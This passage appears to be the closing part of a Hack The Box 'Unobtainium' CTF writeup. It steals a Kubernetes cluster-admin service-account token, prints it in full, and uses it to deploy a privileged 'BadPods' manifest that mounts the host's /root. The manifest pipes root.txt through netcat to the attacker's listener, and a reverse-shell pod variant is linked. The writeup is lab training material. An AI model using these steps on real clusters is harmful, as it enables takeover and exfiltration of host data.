NAME                                             TYPE                                  DATA   AGE
attachdetach-controller-token-5dkkr              kubernetes.io/service-account-token   3      90d
bootstrap-signer-token-xl4lg                     kubernetes.io/service-account-token   3      90d
c-admin-token-tfmp2                              kubernetes.io/service-account-token   3      89d
certificate-controller-token-thnxw               kubernetes.io/service-account-token   3      90d
clusterrole-aggregation-controller-token-scx4p   kubernetes.io/service-account-token   3      90d
coredns-token-dbp92                              kubernetes.io/service-account-token   3      90d
cronjob-controller-token-chrl7                   kubernetes.io/service-account-token   3      90d
daemon-set-controller-token-cb825                kubernetes.io/service-account-token   3      90d
default-token-l85f2                              kubernetes.io/service-account-token   3      90d
deployment-controller-token-cwgst                kubernetes.io/service-account-token   3      90d
disruption-controller-token-kpx2x                kubernetes.io/service-account-token   3      90d
endpoint-controller-token-2jzkv                  kubernetes.io/service-account-token   3      90d
endpointslice-controller-token-w4hwg             kubernetes.io/service-account-token   3      90d
endpointslicemirroring-controller-token-9qvzz    kubernetes.io/service-account-token   3      90d
expand-controller-token-sc9fw                    kubernetes.io/service-account-token   3      90d
generic-garbage-collector-token-2hng4            kubernetes.io/service-account-token   3      90d
horizontal-pod-autoscaler-token-6zhfs            kubernetes.io/service-account-token   3      90d
job-controller-token-h6kg8                       kubernetes.io/service-account-token   3      90d
kube-proxy-token-jc8kn                           kubernetes.io/service-account-token   3      90d
namespace-controller-token-2klzl                 kubernetes.io/service-account-token   3      90d
node-controller-token-k6p6v                      kubernetes.io/service-account-token   3      90d
persistent-volume-binder-token-fd292             kubernetes.io/service-account-token   3      90d
pod-garbage-collector-token-bjmrd                kubernetes.io/service-account-token   3      90d
pv-protection-controller-token-9669w             kubernetes.io/service-account-token   3      90d
pvc-protection-controller-token-w8m9r            kubernetes.io/service-account-token   3      90d
replicaset-controller-token-bzbt8                kubernetes.io/service-account-token   3      90d
replication-controller-token-jz8k8               kubernetes.io/service-account-token   3      90d
resourcequota-controller-token-wg7rr             kubernetes.io/service-account-token   3      90d
root-ca-cert-publisher-token-cnl86               kubernetes.io/service-account-token   3      90d
service-account-controller-token-44bfm           kubernetes.io/service-account-token   3      90d
service-controller-token-pzjnq                   kubernetes.io/service-account-token   3      90d
statefulset-controller-token-z2nsd               kubernetes.io/service-account-token   3      90d
storage-provisioner-token-tk5k5                  kubernetes.io/service-account-token   3      90d
token-cleaner-token-wjvf9                        kubernetes.io/service-account-token   3      90d
ttl-controller-token-z87px                       kubernetes.io/service-account-token   3      90d
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

If you see the third option Cluster Administrator -> c-admin-token-tfmp2 is the secret of the Cluster Administrator.

Let's get the token of Cluster Administrator -> c-admin-token-tfmp2.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl describe secrets/c-admin-token-tfmp2 -n kube-system
Name:         c-admin-token-tfmp2
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     1066 bytes
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
root@devnode-deployment-cd86fb5c-qlxww:/tmp# 

unobtainium.htb

Let's list the info of the token.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
Kubernetes control plane is running at https://10.96.0.1:443
KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
root@devnode-deployment-cd86fb5c-qlxww:/tmp# 

Let's check if we create pods or not if we can create pods we can use BadPods.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
yes
root@devnode-deployment-cd86fb5c-qlxww:/tmp# 

Yes we can create pods now let's create a BadPods. where everything is allowed with the help of BadPods.

Link : Bad Pod #1: Everything allowed
Link : everything-allowed-exec-pod.yaml

I modify the everything-allowed-exec-pod.yaml file to get the root hash and save the file as dedsec.yaml.

dedsec.yaml

apiVersion: v1
kind: Pod
metadata:
  name: some-pod
  namespace: default
spec:
  containers:
    - name: web
      image: localhost:5000/dev-alpine
      command: ["/bin/sh"]
      args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.12 9005; sleep 100000']
      volumeMounts:
      - mountPath: /root/
        name: root-flag
  volumes:
  - hostPath:
      path: /root/
      type: ""
    name: root-flag

Change the ip and we good to go.

Just tranfer the dedsec.yaml in target box insode /tmp folder and start your netcat listner to get the root.txt file.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# wget http://10.10.14.12/dedsec.yaml
--2021-04-17 10:16:05--  http://10.10.14.12/dedsec.yaml
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 405 [application/octet-stream]
Saving to: 'dedsec.yaml'

dedsec.yaml                                     100%[=====================================================================================================>]     405  --.-KB/s    in 0s      

2021-04-17 10:16:06 (70.1 MB/s) - 'dedsec.yaml' saved [405/405]

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl create -f /tmp/dedsec.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
pod/some-pod created
root@devnode-deployment-cd86fb5c-qlxww:/tmp#
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nc -nvlp 9005 > root.txt
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9005
Ncat: Listening on 0.0.0.0:9005
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:44555.
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ cat root.txt 
ef65aae67fda1e3fe6c4f3c2aad1a4b1
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ 

unobtainium.htb

If you want reverse shell you can use this.

Link : everything-allowed-revshell-pod.yaml

And we pwned it …….

Complete

If u liked the writeup.Support a Student to Get the OSCP-Cert Donation for OSCP

Resources

Topic Url
Prototype Pollution https://snyk.io/vuln/SNYK-JS-LODASH-73638
Command Injection https://snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431
Install kubectl binary with curl on Linux https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux
Chisel https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s
Bad Pod #1: Everything allowed https://github.com/BishopFox/badPods/tree/main/manifests/everything-allowed
everything-allowed-exec-pod.yaml https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
eeverything-allowed-revshell-pod.yaml https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml
This post is licensed under CC BY 4.0

Hackthebox Jewel writeup

Fortress Reel2 writeup

© 2020 Dedinfosec . All rights reserved.